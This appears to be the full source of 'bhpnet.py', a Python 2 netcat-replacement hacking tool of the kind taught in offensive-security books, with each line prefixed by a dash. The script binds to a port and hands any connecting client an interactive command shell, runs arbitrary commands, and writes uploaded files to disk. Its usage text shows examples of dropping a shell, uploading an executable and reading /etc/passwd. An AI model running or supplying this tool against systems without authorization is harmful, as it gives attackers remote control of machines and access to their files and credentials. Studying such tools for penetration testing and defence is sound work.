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- #!/usr/bin/env python
- import sys
- import socket
- import getopt
- import threading
- import subprocess
- # define some global variables
- listen = False
- command = False
- upload = False
- execute = ""
- target = ""
- upload_destination = ""
- port = 0
- # this runs a command and returns the output
- def run_command(command):
- # trim the newline
- command = command.rstrip()
- # run the command and get the output back
- try:
- output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)
- except:
- output = "Failed to execute command.\r\n"
- # send the output back to the client
- return output
- # this handles incoming client connections
- def client_handler(client_socket):
- global upload
- global execute
- global command
- # check for upload
- if len(upload_destination):
- # read in all of the bytes and write to our destination
- file_buffer = ""
- # keep reading data until none is available
- while True:
- data = client_socket.recv(1024)
- if not data:
- break
- else:
- file_buffer += data
- # now we take these bytes and try to write them out
- try:
- file_descriptor = open(upload_destination,"wb")
- file_descriptor.write(file_buffer)
- file_descriptor.close()
- # acknowledge that we wrote the file out
- client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
- except:
- client_socket.send("Failed to save file to %s\r\n" % upload_destination)
- # check for command execution
- if len(execute):
- # run the command
- output = run_command(execute)
- client_socket.send(output)
- # now we go into another loop if a command shell was requested
- if command:
- while True:
- # show a simple prompt
- client_socket.send("<BHP:#> ")
- # now we receive until we see a linefeed (enter key)
- cmd_buffer = ""
- while "\n" not in cmd_buffer:
- cmd_buffer += client_socket.recv(1024)
- # we have a valid command so execute it and send back the results
- response = run_command(cmd_buffer)
- # send back the response
- client_socket.send(response)
- # this is for incoming connections
- def server_loop():
- global target
- global port
- # if no target is defined we listen on all interfaces
- if not len(target):
- target = "0.0.0.0"
- server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- server.bind((target,port))
- server.listen(5)
- while True:
- client_socket, addr = server.accept()
- # spin off a thread to handle our new client
- client_thread = threading.Thread(target=client_handler,args=(client_socket,))
- client_thread.start()
- # if we don't listen we are a client....make it so.
- def client_sender(buffer):
- client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- try:
- # connect to our target host
- client.connect((target,port))
- # if we detect input from stdin send it
- # if not we are going to wait for the user to punch some in
- if len(buffer):
- client.send(buffer)
- while True:
- # now wait for data back
- recv_len = 1
- response = ""
- while recv_len:
- data = client.recv(4096)
- recv_len = len(data)
- response+= data
- if recv_len < 4096:
- break
- print response,
- # wait for more input
- buffer = raw_input("")
- buffer += "\n"
- # send it off
- client.send(buffer)
- except:
- # just catch generic errors - you can do your homework to beef this up
- print "[*] Exception! Exiting."
- # teardown the connection
- client.close()
- def usage():
- print "Netcat Replacement"
- print
- print "Usage: bhpnet.py -t target_host -p port"
- print "-l --listen - listen on [host]:[port] for incoming connections"
- print "-e --execute=file_to_run - execute the given file upon receiving a connection"
- print "-c --command - initialize a command shell"
- print "-u --upload=destination - upon receiving connection upload a file and write to [destination]"
- print
- print
- print "Examples: "
- print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
- print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
- print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
- print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"
- sys.exit(0)
- def main():
- global listen
- global port
- global execute
- global command
- global upload_destination
- global target
- if not len(sys.argv[1:]):
- usage()
- # read the commandline options
- try:
- opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
- except getopt.GetoptError as err:
- print str(err)
- usage()
- for o,a in opts:
- if o in ("-h","--help"):
- usage()
- elif o in ("-l","--listen"):
- listen = True
- elif o in ("-e", "--execute"):
- execute = a
- elif o in ("-c", "--commandshell"):
- command = True
- elif o in ("-u", "--upload"):
- upload_destination = a
- elif o in ("-t", "--target"):
- target = a
- elif o in ("-p", "--port"):
- port = int(a)
- else:
- assert False,"Unhandled Option"
- # are we going to listen or just send data from stdin
- if not listen and len(target) and port > 0:
- # read in the buffer from the commandline
- # this will block, so send CTRL-D if not sending input
- # to stdin
- buffer = sys.stdin.read()
- # send data off
- client_sender(buffer)
- # we are going to listen and potentially
- # upload things, execute commands and drop a shell back
- # depending on our command line options above
- if listen:
- server_loop()
- main()
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